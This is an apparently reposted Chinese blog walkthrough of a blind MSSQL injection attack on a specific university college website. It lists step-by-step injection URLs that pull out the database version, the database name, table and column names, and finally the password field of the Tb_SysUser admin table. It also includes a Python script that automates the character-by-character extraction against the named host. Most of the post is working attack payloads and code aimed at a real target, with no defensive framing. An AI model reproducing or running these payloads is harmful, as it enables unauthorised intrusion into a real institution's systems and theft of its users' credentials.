文法学院mssql注入

来源:互联网 发布:linux运行安卓程序 编辑:程序博客网 时间:2024/04/28 01:21
盲注:
例子:
http://wenfa.nchu.edu.cn/md.aspx?t=0&c=c1
先说一些函数的说明:
substring(str,start,len) 截取字符串的作用,第一个参数为要截取的字符串,第二个参数为从哪里开始截取,第三个参数为截取的长度
ascii(char) 把字符转换为ascii值
【1】爆数据库版本:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>0/**/--&t=0
正常页面
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>100/**/--&t=0
不正常页面
说明@@version的第一个字母的ascii 的范围是在0到100 之间
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=77/**/--&t=0
正常页面,说明@@version的第一个字母的ascii 的值是77,查表可知为M
第二个字母的注入为:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,2,1))>0/**/--&t=0
方法相同

来一个爆版本号的脚本:
[python] view plaincopy
  1. # -*- coding: gbk -*-  
  2. import urllib2  
  3. import urllib  
  4.   
  5. sqlcomm="@@version"  
  6. data = {  
  7.         "t":"0",  
  8.         "c":"c1'/**/and/**/ascii(substring(@@version,1,1))=77 --"  
  9.         }  
  10. def getlength():  
  11.     for counti in range(1000):  
  12.         data["c"]="c1'/**/and/**/len(%s)=%s/**/--" % (sqlcomm,str(counti))  
  13.         urldata=urllib.urlencode(data)  
  14.         url="http://wenfa.nchu.edu.cn/md.aspx?"+urldata  
  15.         headers={"User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"}  
  16.         req = urllib2.Request(url,headers=headers)  
  17.         resul=urllib2.urlopen(req).read()  
  18.         if len(resul)>34000:  
  19.             return counti  
  20.     return False  
  21.   
  22. def sendhttp(countn,sign,num):  
  23.     data["c"]="c1'/**/and/**/ascii(substring(%s,%s,1))%s%s/**/--" % (sqlcomm,str(countn),sign,str(middle))  
  24.     urldata=urllib.urlencode(data)  
  25.     url="http://wenfa.nchu.edu.cn/md.aspx?"+urldata  
  26.     headers={"User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"}  
  27.     req = urllib2.Request(url,headers=headers)  
  28.     resul=urllib2.urlopen(req).read()  
  29.     if len(resul)>34000:  
  30.             return True  
  31.     return False  
  32.   
  33.   
  34. coutnum= getlength()  
  35. for j in range(1,coutnum+1):  
  36.     min,max=0,140  
  37.     while min<=max:  
  38.         middle=(max+min)//2  
  39.         if sendhttp(j,"=",middle):  
  40.             print chr(middle),  
  41.             break  
  42.         if sendhttp(j,">",middle):  
  43.             min=middle+1  
  44.         else:  
  45.             max=middle-1  



【2】爆当前数据库名字
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0
ascii大于140发现页面正常,则当前的数据库的名字为中文,则换成这样注入:wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/unicode(substring(db_name(),1,1))>200/**/--&t=0
最后发现:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/unicode(substring(db_name(),1,1))=25991/**/--&t=0
在http://www.bangnishouji.com/tools/chtounicode.html查询
文 转换成中文,就是“文”字
最后注入发现当前数据库的为:文法学院




【3】爆表

wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/文法学院.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0
爆第二张表:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/name/**/from/**/文法学院.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0 and name not in('Tb_SysUser')),1,1))>0/**/--&t=0

【4】爆Tb_SysUser 表的字段:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/文法学院.information_schema.columns/**/where/**/TABLE_NAME='Tb_SysUser'),1,1))>0/**/--&t=0
爆第二个字段:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME/**/ from/**/文法学院.information_schema.columns/**/where/**/TABLE_NAME='Tb_SysUser'/**/and/**/COLUMN_NAME/**/not/**/in('fPwd')),1,1))>0/**/--&t=0

【5】爆数据
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/Tb_SysUser),1,1))>0/**/--&t=0
0 0
原创粉丝点击